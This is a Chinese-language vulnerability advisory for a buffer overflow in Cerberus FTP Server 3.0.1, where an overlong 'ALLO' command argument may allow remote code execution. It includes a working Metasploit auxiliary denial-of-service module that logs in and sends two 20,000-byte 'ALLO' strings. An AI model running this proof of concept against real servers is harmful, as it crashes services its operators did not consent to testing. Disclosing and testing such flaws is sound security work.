漏洞起因
边界条件错误
影响系统
Cerberus FTP Server 3.0.1
不受影响系统
危害
远程攻击者可以利用漏洞以应用程序权限执行任意指令。
攻击所需条件
攻击者必须访问Cerberus FTP Server。
漏洞信息
Cerberus FTP Server是一款FTP服务程序。
Cerberus FTP Server不正确处理’ALLO’命令参数,远程攻击者可以利用漏洞进行缓冲区溢出攻击,可能以应用程序权限执行任意指令。
攻击者需要一个合法帐户,登录服务器后提交特殊构建的’ALLO’命令来触发。
测试方法
require ‘msf/core’
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::Ftp
include Msf::Auxiliary::Dos
def initialize(info = {})
super(update_info(info,
‘Name’ => ‘Cerberus FTP command ALLO overflow’,
‘Description’ => %q{
You need to have a valid login
so you can run ALLO command.
},
‘Author’ => ‘Francis Provencher "Protek Research Lab’s",
‘License’ => MSF_LICENSE,
‘Version’ => ‘1’,
‘References’ =>
‘DisclosureDate’ => ‘Aug 24 2009’))
# They’re required
register_options([
OptString.new(‘FTPUSER’, [ true, ‘Valid FTP username’, ‘anonymous’ ]),
OptString.new(‘FTPPASS’, [ true, ‘Valid FTP password for username’, ‘anonymous’ ])
])
end
def run
return unless connect_login
print_status("Sending commands…")
# We want to try to wait for responses to these
raw_send("ALLO #{‘A’ * 20000}\r\n")
raw_send("ALLO #{‘A’ * 20000}\r\n")
disconnect
end
end
厂商解决方案
目前没有详细解决方案提供:
http://www.cerberusftp.com/index.html
漏洞提供者
Francis Provencher from Protek Research Labs
0 条评论。